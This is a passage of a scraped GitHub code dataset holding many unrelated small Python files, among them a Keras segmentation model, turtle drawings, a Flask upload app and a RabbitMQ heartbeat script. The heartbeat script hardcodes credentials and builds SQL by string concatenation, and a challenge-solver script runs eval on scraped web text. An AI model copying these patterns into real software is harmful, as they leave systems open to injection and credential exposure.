kernel_size=(2, 2), strides=(2, 2), padding='same')(enet)\n return enet\n\n\ndef net(pretrained_weights=None, input_size=(IMAGE_SIZE, IMAGE_SIZE, 3), num_class=20):\n inputs = Input(input_size)\n\n #####-----light U-net------#####\n\n # ConvBlock_1_64\n conv1 = Conv2D(filter, 3, padding='same', kernel_initializer='he_normal')(inputs)\n conv1 = BatchNormalization()(conv1)\n conv1 = LeakyReLU(alpha=0.3)(conv1)\n\n conv1 = DepthwiseConv2D(3, depth_multiplier=1, padding='same')(conv1)\n conv1 = Conv2D(filter, 1, padding='same', kernel_initializer='he_normal')(conv1)\n conv1 = BatchNormalization()(conv1)\n\n # ConvBlock_2_128\n conv2 = Conv2D(filter, 3, padding='same', kernel_initializer='he_normal')(conv1)\n conv2 = BatchNormalization()(conv2)\n conv2 = LeakyReLU(alpha=0.3)(conv2)\n\n conv2 = DepthwiseConv2D(3, depth_multiplier=1, padding='same')(conv2)\n conv2 = Conv2D(filter, 1, padding='same', kernel_initializer='he_normal')(conv2)\n conv2 = BatchNormalization()(conv2)\n pool2 = MaxPool2D(pool_size=(2, 2))(conv2)\n\n # ConvBlock_3_256\n conv3 = Conv2D(filter * 2, 3, padding='same', kernel_initializer='he_normal')(pool2)\n conv3 = BatchNormalization()(conv3)\n conv3 = LeakyReLU(alpha=0.3)(conv3)\n\n conv3 = DepthwiseConv2D(3, depth_multiplier=1, padding='same')(conv3)\n conv3 = Conv2D(filter * 2, 1, padding='same', kernel_initializer='he_normal')(conv3)\n conv3 = BatchNormalization()(conv3)\n\n # ConvBlock_4_512\n conv4 = Conv2D(filter * 2, 3, padding='same', kernel_initializer='he_normal')(conv3)\n conv4 = BatchNormalization()(conv4)\n conv4 = LeakyReLU(alpha=0.3)(conv4)\n\n conv4 = DepthwiseConv2D(3, depth_multiplier=1, padding='same')(conv4)\n conv4 = Conv2D(filter * 2, 1, padding='same', kernel_initializer='he_normal')(conv4)\n conv4 = BatchNormalization()(conv4)\n pool4 = MaxPool2D(pool_size=(2, 2))(conv4)\n\n # ConvBlock_5_1024\n conv5 = Conv2D(filter * 4, 3, padding='same', kernel_initializer='he_normal')(pool4)\n conv5 = BatchNormalization()(conv5)\n conv5 = LeakyReLU(alpha=0.3)(conv5)\n\n conv5 = DepthwiseConv2D(3, depth_multiplier=1, padding='same')(conv5)\n conv5 = Conv2D(filter * 4, 1, padding='same', kernel_initializer='he_normal')(conv5)\n conv5 = BatchNormalization()(conv5)\n\n # upsampling_conv_4_512\n conv6 = Conv2D(filter * 4, 3, padding='same', kernel_initializer='he_normal')(conv5)\n conv6 = BatchNormalization()(conv6)\n conv6 = LeakyReLU(alpha=0.3)(conv6)\n\n conv6 = DepthwiseConv2D(3, depth_multiplier=1, padding='same')(conv6)\n conv6 = Conv2D(filter * 4, 1, padding='same', kernel_initializer='he_normal')(conv6)\n conv6 = BatchNormalization()(conv6)\n\n # UpsamplingBlock_3_256\n up7 = (UpSampling2D(size=(2, 2))(conv6))\n\n # merge7 = concatenate([conv4, up7], axis=3)\n\n # upsampling_conv_3_256\n conv7 = Conv2D(filter * 2, 3, padding='same', kernel_initializer='he_normal')(up7)\n conv7 = BatchNormalization()(conv7)\n conv7 = LeakyReLU(alpha=0.3)(conv7)\n\n conv7 = DepthwiseConv2D(3, depth_multiplier=1, padding='same')(conv7)\n conv7 = Conv2D(filter * 2, 1, padding='same', kernel_initializer='he_normal')(conv7)\n conv7 = BatchNormalization()(conv7)\n\n # upsampling_conv_2_128\n conv8 = Conv2D(filter * 2, 3, padding='same', kernel_initializer='he_normal')(conv7)\n conv8 = BatchNormalization()(conv8)\n conv8 = LeakyReLU(alpha=0.3)(conv8)\n\n conv8 = DepthwiseConv2D(3, depth_multiplier=1, padding='same')(conv8)\n conv8 = Conv2D(filter * 2, 1, padding='same', kernel_initializer='he_normal')(conv8)\n conv8 = BatchNormalization()(conv8)\n\n # UpsamplingBlock_1_64\n up9 = (UpSampling2D(size=(2, 2))(conv8))\n up9 = BatchNormalization()(up9)\n\n # merge9 = concatenate([conv2, up9], axis=3)\n\n # upsampling_conv_1_64\n conv9 = Conv2D(filter, 3, padding='same', kernel_initializer='he_normal')(up9)\n conv9 = BatchNormalization()(conv9)\n conv9 = LeakyReLU(alpha=0.3)(conv9)\n\n conv9 = DepthwiseConv2D(3, depth_multiplier=1, padding='same')(conv9)\n conv9 = Conv2D(filter, 3, padding='same', kernel_initializer='he_normal')(conv9)\n conv9 = BatchNormalization()(conv9)\n\n conv10 = Conv2D(filter, 3, padding='same', kernel_initializer='he_normal')(conv9)\n conv10 = BatchNormalization()(conv10)\n conv10 = LeakyReLU(alpha=0.3)(conv10)\n\n conv10 = DepthwiseConv2D(3, depth_multiplier=1, padding='same')(conv10)\n conv10 = Conv2D(filter, 3, padding='same', kernel_initializer='he_normal')(conv10)\n conv10 = BatchNormalization()(conv10)\n\n unet_out = Conv2D(num_class, 1, activation='softmax', name='LUNET_out')(conv10)\n\n # loss_function = 'categorical_crossentropy'\n\n\n #####-----E-net------#####\n enet = en_build(inputs)\n enet = de_build(enet, num_class)\n enet_out = Conv2D(num_class, 1, activation='softmax', name='ENET_out')(enet)\n\n model = Model(inputs=inputs, outputs=[unet_out, enet_out])\n\n model.compile(loss={'LUNET_out': [fin_loss_multi],\n 'ENET_out': [multi_fin_loss]},\n loss_weights={\n 'LUNET_out': 1.,\n 'ENET_out': 1.\n },\n metrics=['accuracy'])\n # model.summary()\n\n return model\n","repo_name":"orikimiyano/SALW_Net","sub_path":"SALW_NET.py","file_name":"SALW_NET.py","file_ext":"py","file_size_in_byte":10575,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"3235355846","text":"from turtle import*\nspeed(\"fastest\")\nbgcolor(\"black\")\na = 0\nb = 0\npencolor(\"red\")\npenup()\ngoto(0,200)\npendown()\nwhile True:\n forward(a)\n right(b)\n a += 2\n b += 1\n if b == 210:\n break\nexitonclick()","repo_name":"Deep-Look-Academy/Python-Turtle-Graphics","sub_path":"15. Turtle Graphics - Draw a random line circleUsing Python Turtle.py","file_name":"15. Turtle Graphics - Draw a random line circleUsing Python Turtle.py","file_ext":"py","file_size_in_byte":218,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"11372611118","text":"from collections import OrderedDict\nimport json\n# note: Hash Doubly linked list built internally\n# twice memory as much as common dict\n\nd = OrderedDict()\nd[\"ryu\"] = 1\nd[\"ken\"] = 2\nd[\"luke\"] = 3\nd[\"sakura\"] = 4\nprint(d)\n\n\"\"\"\ndumps() method allows us to convert a python object into an equivalent JSON object. \nOr in other words to send the data from python to json. The json. dump() method allows \nus to convert a python object into an equivalent JSON object and store the result into \na JSON file at the working directory.\n\"\"\"\nj = json.dump(d)\nprint(j)","repo_name":"Chang-Liu-TAMU/Python-Cookbook-reading","sub_path":"CH01_Algorithm_ADS@completed/1.7.Keeping_Dictionaries_in_order.py","file_name":"1.7.Keeping_Dictionaries_in_order.py","file_ext":"py","file_size_in_byte":552,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"71585736809","text":"import cv2\r\n\r\n\r\n# scales mask down to dimensions\r\n# assumes mask is at least as large as img\r\n# returns image (numpy array)\r\ndef apply(img_filename, mask_filenames, width, height):\r\n img = cv2.imread(img_filename)\r\n\r\n scalar = 2\r\n # scale mask down\r\n dsize = tuple([scalar * dim for dim in [width, height]])\r\n\r\n for mask_filename in mask_filenames:\r\n mask = cv2.resize(cv2.imread(mask_filename), dsize)[0:height, 0:width]\r\n img = cv2.add(img, mask)\r\n\r\n return img\r\n","repo_name":"erichan42/image-snow-removal","sub_path":"scripts/noise.py","file_name":"noise.py","file_ext":"py","file_size_in_byte":497,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"} +{"seq_id":"504093831","text":"####################################################################################\n#\n# Program: heartbeat\n# Version: 1.2\n# Date: 13/07/2018\n#\n# Description: Sends an 'heartbeat' message to the RabbitMQ server (PiRMQ01)\n#\n####################################################################################\n#!/usr/bin/python\nimport pika\nimport time\nimport datetime\nimport sys\nimport os\nimport socket\n\n# Use plain credentials for authentication\nmq_creds = pika.PlainCredentials(\n username = \"webmessage\",\n password = \"guest\")\n\n# Use localhost\nmq_params = pika.ConnectionParameters(\n host = \"192.168.1.200\",\n# host = \"sjholt.webhop.me\",\n credentials = mq_creds,\n virtual_host = \"/\")\n\nmq_exchange = \"amq.topic\"\nmq_routing_key = \"PiCloud\"\nmq_routing_key2 = \"BlueMix\"\n\n# This a connection object\nmq_conn = pika.BlockingConnection(mq_params)\n\n# This is one channel inside the connection\nmq_chan = mq_conn.channel()\n\nserver_name = socket.gethostname()\nif server_name == \"sjholt.webhop.me\":\n\tserver_name = \"PiRMQ01\"\n\nmessageType = \"INFO\"\nmessageBody = \"Heartbeat >> Server:\" + server_name + \" >> Status:OK\"\n\nts = time.time()\nmessageDatetime = datetime.datetime.fromtimestamp(ts).strftime('%Y-%m-%d %H:%M:%S')\n\n# Create message for Online Queue Monitor\nmessageText = messageDatetime + \" [\" + messageType + \"] \" + messageBody\n\n# Create messages for MySQL Database\nmessageText2 = \"INSERT INTO rabbitpimessagelog (message_type, message_body, message_datetime) VALUES ('\" + messageType + \"','\" + messageBody + \"','\" + messageDatetime + \"');\"\nmessageText3 = \"UPDATE server_status set server_status = 1, last_updated = now() WHERE server_name = '\" + server_name + \"';\"\n\n# Send message to RabbitMQ listener\nmq_chan.basic_publish(\n exchange = mq_exchange,\n routing_key = mq_routing_key,\n body = messageText)\n\n# Send message to message log table\nmq_chan.basic_publish(\n exchange = mq_exchange,\n routing_key = mq_routing_key2,\n body = messageText2)\n\n# send message to server status table\nmq_chan.basic_publish(\n exchange = mq_exchange,\n routing_key = mq_routing_key2,\n body = messageText3)\n","repo_name":"sjholt2017/RabbitPiNet","sub_path":"heartbeat.py","file_name":"heartbeat.py","file_ext":"py","file_size_in_byte":2204,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"21000809863","text":"import numpy as np\nfrom scipy.stats import pearsonr\nimport matplotlib.pyplot as plt\n\n\ndef masked_rmse_np(preds, labels, null_val=np.nan):\n return np.sqrt(masked_mse_np(preds=preds, labels=labels, null_val=null_val))\n\n\ndef masked_mse_np(preds, labels, null_val=np.nan):\n with np.errstate(divide='ignore', invalid='ignore'):\n if np.isnan(null_val):\n mask = ~np.isnan(labels)\n else:\n mask = np.not_equal(labels, null_val)\n mask = mask.astype('float32')\n mask /= np.mean(mask)\n mse = np.square(np.subtract(preds, labels)).astype('float32')\n mse = np.nan_to_num(mse * mask)\n mse = np.nan_to_num(mse)\n return np.mean(mse)\n\n\ndef masked_mae_np(preds, labels, null_val=np.nan):\n with np.errstate(divide='ignore', invalid='ignore'):\n if np.isnan(null_val):\n mask = ~np.isnan(labels)\n else:\n mask = np.not_equal(labels, null_val)\n mask = mask.astype('float32')\n mask /= np.mean(mask)\n mae = np.abs(np.subtract(preds, labels)).astype('float32')\n mae = np.nan_to_num(mae * mask)\n mae = np.nan_to_num(mae)\n return np.mean(mae)\n\n\ndef masked_mape_np(preds, labels, null_val=np.nan):\n with np.errstate(divide='ignore', invalid='ignore'):\n if np.isnan(null_val):\n mask = ~np.isnan(labels)\n else:\n mask = np.not_equal(labels, null_val)\n mask = mask.astype('float32')\n mask /= np.mean(mask)\n mape = np.abs(np.divide(np.subtract(preds, labels).astype('float32'), labels + 1e-5))\n mape = np.nan_to_num(mask * mape)\n mape = np.nan_to_num(mape)\n return np.mean(mape)\n\n\ndef calculate_metrics(preds, labels, args = None, null_val=0.0, plot=False, inds=None):\n \"\"\"\n Calculate the MAE, MAPE, RMSE\n :param df_pred:\n :param df_test:\n :param null_val:\n :return:\n \"\"\"\n try:\n # try:\n # scaler = args.scaler\n # preds = scaler.inverse_transform(preds.reshape([-1,1])).squeeze()\n # # preds = (preds - np.mean(preds))/np.std(preds) * 408.8682+538.480\n # # preds = (preds - np.mean(preds))/np.std(preds) * 231.2591+490.5749\n # labels = scaler.inverse_transform(labels.reshape([-1,1])).squeeze()\n # except:\n # print(\"no scale\")\n # if plot:\n # plt.scatter(preds, labels)\n # plt.axis('equal')\n # plt.show()\n preds = preds.reshape([-1,1]).squeeze()\n labels = labels.reshape([-1,1]).squeeze()\n print(preds[:40000:1905])\n print(labels[:40000:1905])\n # mape = masked_mape_np(preds, labels, 0.0)\n # mae = masked_mae_np(preds, labels, 0.0)\n # rmse = masked_rmse_np(preds, labels, 0.0)\n mape = np.mean(np.abs(np.divide(np.subtract(preds, labels).astype('float32'), labels + 1e-5)))\n mse = np.mean(np.square(np.subtract(preds, labels)).astype('float32'))\n rmse = np.sqrt(mse)\n mae = np.mean(np.abs(np.subtract(preds, labels)).astype('float32'))\n if inds is not None:\n ape = np.abs(np.divide(np.subtract(preds, labels).astype('float32'), labels + 1e-5))\n res = np.concatenate([inds[ape > mape].reshape(-1,1), ape[ape > mape].reshape(-1,1)], axis=-1)\n np.save('data/porto/badcase.npy', res)\n except Exception as e:\n print(e)\n mae = 0\n mape = 0\n rmse = 0\n try:\n pearsonrs = pearsonr(preds, labels)\n except Exception as e:\n print(e)\n pearsonrs = (0, 0)\n return {'MAE': mae, 'MAPE': mape, 'RMSE': rmse, 'pearr':pearsonrs[0], 'pearp': pearsonrs[1]}\n","repo_name":"yanshaojie123/time_estimation","sub_path":"utils/metric.py","file_name":"metric.py","file_ext":"py","file_size_in_byte":3662,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"53"} +{"seq_id":"73584866088","text":"import json\nimport sys\n\nline =\"\\n\"\n\ndef run():\n \n with open(\"ORDER_INDEX_BULK_TRANSITION/ORDER_UUID_TEXT_FILE/order_list_uuids_input.txt\") as file:\n uuids = [line.strip() for line in file]\n \n # Print the uuids to the console\n for uuid in uuids:\n print(f\"\\\"{uuid}\\\"\")\n\n print(\"\\nOrder states are case sensitive. Example: 'completed'\\n\")\n new_state = input(\"Enter the new state for the orders to transition to: \")\n\n output_dict = {\"order_uuids\": uuids, \"new_state\": new_state}\n\n with open(\"ORDER_INDEX_BULK_TRANSITION/ORDER_UUID_TEXT_FILE/order_list_uuid_output.json\", \"w\") as file:\n json.dump(output_dict, file, indent=4)\n \n","repo_name":"nick-renard/VN-QOL-Tools-Misc-VS","sub_path":"scripts/ORDER_INDEX_BULK_TRANSITION/ORDER_UUID_TEXT_FILE/order_list_uuids.py","file_name":"order_list_uuids.py","file_ext":"py","file_size_in_byte":682,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"18111467312","text":"import os\nimport pathlib\nimport shutil\n\nfrom flask import Flask, request, flash, redirect, render_template, send_file\nimport uuid\n\nfrom constants import Constants\nfrom morphify import morphify\n\nUPLOAD_FOLDER = './uploads'\n\napp = Flask(__name__)\napp.secret_key = 'super secret key'\napp.config['SESSION_TYPE'] = 'filesystem'\n\n\ndef allowed_file(filename):\n return '.' in filename and \\\n filename.rsplit('.', 1)[-1].lower() in Constants.IMAGE_EXTENSIONS\n\n\n@app.route('/', methods=['GET', 'POST'])\ndef upload_file():\n if request.method == 'POST':\n # check if the post request has the file part\n input_files = request.files.getlist('input_files')\n stranger_files = request.files.getlist('stranger_files')\n if not input_files or not stranger_files:\n flash('Select files!', 'error')\n return redirect(request.url)\n user_uuid = uuid.uuid4()\n data_folder = os.path.join(UPLOAD_FOLDER, str(user_uuid))\n\n try:\n input_dir = os.path.join(data_folder, 'input')\n for input_file in input_files:\n pathlib.Path(input_dir).mkdir(parents=True, exist_ok=True)\n input_file.save(\n os.path.join(input_dir, input_file.filename))\n\n stranger_dir = os.path.join(data_folder, 'stranger')\n for stranger_file in stranger_files:\n pathlib.Path(stranger_dir).mkdir(parents=True,\n exist_ok=True)\n stranger_file.save(\n os.path.join(stranger_dir, stranger_file.filename))\n\n output_dir = os.path.join(data_folder, 'output')\n morphify(input_dir, stranger_dir, output_dir)\n\n code = list(os.listdir(output_dir))[0]\n zip_path = os.path.join(output_dir, f'{code}')\n shutil.make_archive(zip_path, 'zip', zip_path)\n\n return send_file(f'{zip_path}.zip', as_attachment=True)\n finally:\n shutil.rmtree(data_folder)\n return \\\n render_template('index.html',\n mix_backgrounds=Constants.MIX_BACKGROUNDS,\n accept_extensions=','.join(Constants.IMAGE_EXTENSIONS))\n","repo_name":"Evgenius2020/morpher","sub_path":"src/morphify_flask.py","file_name":"morphify_flask.py","file_ext":"py","file_size_in_byte":2220,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"3753110840","text":"import re\nimport requests\nurl=\"http://123.206.87.240:8002/qiumingshan/\"\ns=requests.Session()\nresponse=s.get(url)\nreg=re.compile(r'[0-9+\\-*]{3,}[0-9]')\nobj=reg.findall(response.text)\ndata={'value':eval(obj[0])}\nreps=s.post(url,data=data)\nprint(reps.content.decode('utf-8'))\n","repo_name":"bufsnake/Common-script","sub_path":"susuan.py","file_name":"susuan.py","file_ext":"py","file_size_in_byte":273,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"24390419685","text":"# Making the Menus\n\n# create a `Menu` class - Task 1\nclass Menu:\n # give `Menu` a constructor with five parameters - Task 2\n def __init__(self, name, items, start_time, end_time):\n self.name = name\n self.items = items\n self.start_time = start_time\n self.end_time = end_time\n\n # give Menu class a string representation method - Task 7\n def __repr__(self):\n return '{} menu available from {} to {}'.format(self.name, self.start_time, self.end_time)\n\n # calculate_bill method - Task 9\n def calculate_bill(self, purchased_items):\n bill = 0\n for purchased_item in purchased_items:\n if purchased_item in self.items:\n bill += self.items[purchased_item]\n return bill\n\n# create `Menu` object or instance of class `Menu` - Task 3\n# Brunch Menu\nbrunch_items = {\n'pancakes': 7.50, 'waffles': 9.00, 'burger': 11.00, 'home fries': 4.50, 'coffee': 1.50, 'espresso': 3.00, 'tea': 1.00, 'mimosa': 10.50, 'orange juice': 3.50}\nbrunch_menu = Menu('brunch', brunch_items, 1100, 1600)\n\n# Early bird Menu - Task 4\nearly_bird_items = {\n'salumeria plate': 8.00, 'salad and breadsticks (serves 2, no refills)': 14.00, 'pizza with quattro formaggi': 9.00, 'duck ragu': 17.50, 'mushroom ravioli (vegan)': 13.50, 'coffee': 1.50, 'espresso': 3.00,\n}\nearly_bird_menu = Menu('early_bird', early_bird_items, 1500, 1800)\n\n# Dinner Menu - Task 5\ndinner_items = {\n'crostini with eggplant caponata': 13.00, 'caesar salad': 16.00, 'pizza with quattro formaggi': 11.00, 'duck ragu': 19.50, 'mushroom ravioli (vegan)': 13.50, 'coffee': 2.00, 'espresso': 3.00,\n}\ndinner_menu = Menu('dinner', dinner_items, 1700, 2300)\n\n# Kids Menu - Task 6\nkids_items = {\n'chicken nuggets': 6.50, 'fusilli with wild mushrooms': 12.00, 'apple juice': 3.00\n}\nkids_menu = Menu('kids', kids_items, 1100, 2100)\n\n# Call print(brunch) - Task 8\nprint(brunch_menu)\n# calculate total price of purchase - Test Task 10\nprint(brunch_menu.calculate_bill(['pancakes', 'home fries', 'coffee']))\n\n# calculate bill about early_bird purchase - Task 11\nprint(early_bird_menu.calculate_bill(['salumeria plate', 'mushroom ravioli (vegan)']))\n\n# Creating the Franchises\n\n# create `Franchise` class _ Task 12\nclass Franchise:\n # constructor for `Franchise` class - Task 13\n def __init__(self, address, menus):\n self.address = address\n self.menus = menus\n\n # gives `Franchise` a string representation - Task 15\n def __repr__(self):\n return self.address\n\n # give `Franchise` an available_menus() method - Task 16\n def available_menus(self, time):\n available_menus = []\n for menu in self.menus:\n if time >= menu.start_time and time <= menu.end_time:\n available_menus.append(menu)\n return available_menus\n \n# create first two franchise - Task 14 \nmenus = [brunch_menu, early_bird_menu, dinner_menu, kids_menu]\nflagship_store = Franchise('1232 West End Road', menus)\nnew_installment = Franchise('12 East Mulberry Street', menus)\n\n# test available_menus() method - Task 17\nprint(flagship_store.available_menus(1200))\n\n# test available_menus() method - Task 18\nprint(flagship_store.available_menus(1700))\n\n# Creating Businesses!\n\n# create `Business` class - Task 19\nclass Business:\n # constructor for `Business` class - Task 20\n def __init__(self, name, franchises):\n self.name = name\n self.franchises = franchises\n\n# create first `Business` - Task 21\nbusiness_value = Business(\"Basta Fazoolin' with my Heart\", [flagship_store, new_installment])\n\n# create `arepas_menu` - Task 22\narepas_items = {\n 'arepa pabellon': 7.00, 'pernil arepa': 8.50, 'guayanes arepa': 8.00, 'jamon arepa': 7.50\n}\narepas_menu = Menu(\"Take a' Arepa\", arepas_items, 1000, 2000)\n\n# create first Arepa franchise\narepas_place = Franchise('189 Fitzgerald Avenue', arepas_menu)\n\n\n\n","repo_name":"chuksoo/Codecademy","sub_path":"Projects/Computer Science/CS101-Introduction to Programming/15. Classes/Basta Fazoolin'.py","file_name":"Basta Fazoolin'.py","file_ext":"py","file_size_in_byte":3752,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"946219647","text":"import sys\n\nN = int(input())\n\nmat = [[] for _ in range(30)]\nfor _ in range(N):\n M, r, c = sys.stdin.readline().split()\n r, c = int(r), int(c)\n mat[ord(M)-65] = [r,c]\n\nwhile True:\n try:\n exp = sys.stdin.readline().rstrip()\n if exp == '':\n break\n\n\n ans = 0\n stack = []\n for i in range(len(exp)):\n if exp[i] == '(':\n stack.append('(')\n elif exp[i] == ')':\n b = stack.pop()\n a = stack.pop()\n\n if a[1] != b[0]:\n ans = \"error\"\n break\n stack.pop()\n ans += a[0]*a[1]*b[1]\n stack.append([a[0],b[1]])\n else:\n m = mat[ord(exp[i])-65]\n stack.append([m[0], m[1]])\n\n print(ans)\n\n except:\n exit()","repo_name":"jwjin95/PS","sub_path":"22-w/6604_MatrixChainMultiplication.py","file_name":"6604_MatrixChainMultiplication.py","file_ext":"py","file_size_in_byte":862,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"6487385555","text":"import pandas as pd\r\nimport sqlite3\r\n\r\ndef get_tm_results_from_database(database):\r\n con = sqlite3.connect(database)\r\n # I want:\r\n # - ResID\r\n # - JobID\r\n # - Image\r\n # - Template\r\n # - Num matches\r\n # - median score\r\n # - max score\r\n tm_results = pd.read_sql_query(f\"\"\"\r\n SELECT \r\n TEMPLATE_MATCH_ID, \r\n \r\n IMAGE_ASSETS.NAME AS IMAGE_NAME,\r\n VOLUME_ASSETS.NAME AS REFERENCE_NAME\r\n\r\n FROM TEMPLATE_MATCH_LIST\r\n \r\n INNER JOIN IMAGE_ASSETS ON IMAGE_ASSETS.IMAGE_ASSET_ID = TEMPLATE_MATCH_LIST.IMAGE_ASSET_ID\r\n INNER JOIN VOLUME_ASSETS ON VOLUME_ASSETS.VOLUME_ASSET_ID = TEMPLATE_MATCH_LIST.REFERENCE_VOLUME_ASSET_ID\"\"\",con)\r\n \r\n tm_results['NUM_MATCHES'], tm_results['AVG_SCORE'], tm_results['MAX_SCORE'] = zip(*tm_results.apply(lambda row :\r\n pd.read_sql_query(f\"SELECT COUNT(*), AVG(PEAK_HEIGHT), MAX(PEAK_HEIGHT) FROM TEMPLATE_MATCH_PEAK_LIST_{row['TEMPLATE_MATCH_ID']}\",con).values[0],axis=1))\r\n con.close()\r\n return(tm_results)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n print(get_tm_results_from_database(\"C:\\\\Users\\\\jojot\\\\template_matching_chimerax\\\\patch_motion.db\"))\r\n","repo_name":"jojoelfe/tempest","sub_path":"tempest/src/cistem_database.py","file_name":"cistem_database.py","file_ext":"py","file_size_in_byte":1171,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"} +{"seq_id":"10721343290","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nimport jeopardy.models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('jeopardy', '0007_auto_20150629_0934'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='question',\n name='sound',\n field=models.FileField(upload_to=jeopardy.models.question_image_path, null=True, verbose_name='Sound', blank=True),\n ),\n ]\n","repo_name":"codefisher/web_games","sub_path":"jeopardy/migrations/0008_question_sound.py","file_name":"0008_question_sound.py","file_ext":"py","file_size_in_byte":502,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"11661826578","text":"import os\nimport csv\nimport json\nimport nltk\n\nchannel_files = []\nfor root, dirnames, file_names in os.walk('data'):\n for file_name in file_names:\n if file_name.endswith(('.json')):\n channel_files.append(os.path.join(root, file_name))\n\nprint(channel_files)\n\nchannels = {}\n\n\nfor channel_file in channel_files:\n print(channel_file)\n\n with open(channel_file, 'r') as f:\n channels[channel_file\n .split('/')[1]\n .split('.')[0]] = json.load(f)\n\nmessages = []\nfor channel in channels:\n print(channel)\n for event in channels[channel]:\n try:\n messages.append(event['text'])\n except KeyError: pass\n\n\nprint(len(messages))\nl = len(messages) + 1\n\nwhile True:\n l = len(messages)\n for message in messages:\n if 'has joined the channel' in message \\\n or 'channel purpose' in message \\\n or 'channel topic' in message:\n messages.remove(message)\n\n if len(messages) == l: break\n\nprint(len(messages))\n\ncorpus = ' '.join(messages)\ntokens = nltk.word_tokenize(corpus)\n\nwith open('corpus_tokens.csv', 'w') as f:\n for token in tokens:\n f.write('{}\\n'.format(token))","repo_name":"sleepyfoxen/buzzword-bingo","sub_path":"upc-slack/parse.py","file_name":"parse.py","file_ext":"py","file_size_in_byte":1202,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"19916847359","text":"# Entre os operadores, também há o da multiplicação(*). Esse operador tem a função de multiplicar um número pelo outro:\nn1 = int(input('Digite um número: '))\nn2 = int(input('Digite outro número: '))\n\ns = n1 * n2\n\nprint('A multiplicação entre {} e {} resulta em {}'.format(n1, n2, s))\n\n# Caso utilizado ao lado de uma string, esse operador irá escrever ela por uma x quantidade de vezes:\nstring = input('Digite uma string: ')\nm = int(input('Digite a quantidade de vezes que ela aparecerá: '))\n\nr = string * m\n\nprint('A multiplicação entre {} e {} resulta em {}'.format(string, m, r))\n","repo_name":"Gabriel-Avelino/Python-Curso-em-Video","sub_path":"mundo-01/Aulas/Aula-07_Operadores-Aritmeticos/teoria/multiplicacao.py","file_name":"multiplicacao.py","file_ext":"py","file_size_in_byte":598,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"17781953172","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy import signal\n\n\n# In[2]:\n\n\nt, dt = np.linspace(0,1,200, retstep=True)\nfs = 1/dt\nw = 6\n\n\n# In[18]:\n\n\ninput_signal = np.cos(2*np.pi*(50+10*t)*t) + np.sin(40*np.pi*t)\nfreq = np.linspace(1, fs/2, 100)\nwidths = w*fs / (2*freq*np.pi)\ncwt_morlet = signal.cwt(input_signal, signal.morlet2, widths, w=w)\ncwt_mexican_hat = signal.cwt(input_signal, signal.ricker, widths)\n\n\n# In[19]:\n\n\nplt.figure(figsize=(20,16), tight_layout=True)\n\nplt.subplot(3,2,1)\nplt.plot(input_signal)\nplt.title('Input Signal')\nplt.axis('off')\n\nplt.subplot(3,2,3)\nplt.plot(abs(signal.morlet2(M=100, s=4, w=2)))\nplt.title('Morlet Wavelet')\nplt.axis('off')\n\nplt.subplot(3,2,4)\nplt.plot(cwt_morlet)\nplt.title('Coefficient plot generated using Morlet Wavelet')\nplt.axis('off')\n\nplt.subplot(3,2,5)\nplt.plot(signal.ricker(points=100, a=4))\nplt.title('Maxican Hat Wavelet')\nplt.axis('off')\n\nplt.subplot(3,2,6)\nplt.plot(cwt_mexican_hat)\nplt.title('Coefficient plot generated using Maxican Hat Wavelet')\nplt.axis('off')\n\nplt.savefig('plt.jpg')\n","repo_name":"rmShoeb/undergraduate-courses","sub_path":"4-1/CSE 4106/lab-06-online/wavelet-transformation.py","file_name":"wavelet-transformation.py","file_ext":"py","file_size_in_byte":1151,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"41300130902","text":"def maxProduct(self, nums: List[int]) -> int:\n loMin = loMax = glMax = nums[0]\n \n for i in range(1,len(nums)):\n t = loMin\n loMin = min(loMin*nums[i],nums[i],loMax*nums[i])\n loMax = max(t*nums[i],nums[i],loMax*nums[i])\n glMax = max(loMax,glMax)\n \n return glMax","repo_name":"amanptl/LeetCode","sub_path":"Medium/Maximum Product Subarray.py","file_name":"Maximum Product Subarray.py","file_ext":"py","file_size_in_byte":338,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"30832063093","text":"from fastapi import Response, status, HTTPException, Depends, APIRouter\nfrom typing import List\n\nfrom sqlalchemy.orm import Session\n\nfrom database import get_db\nfrom schemas import Record, RecordPost\nimport oauth2\nimport models\n\n\nrouter = APIRouter( prefix=\"/record\", tags=[\"Records\"])\n\n@router.get(\"\", response_model=List[RecordPost])\ndef get_record(db: Session = Depends(get_db), user_id: int = Depends(oauth2.get_current_user)):\n \"\"\"\n Returns the list of all records \n \"\"\"\n \n record_query = db.query(models.Record)\n\n record = record_query.all()\n\n return record\n\n\n@router.get(\"/{record_id}\", response_model=RecordPost)\ndef get_record(record_id: int, db: Session = Depends(get_db), user_id: int = Depends(oauth2.get_current_user)):\n 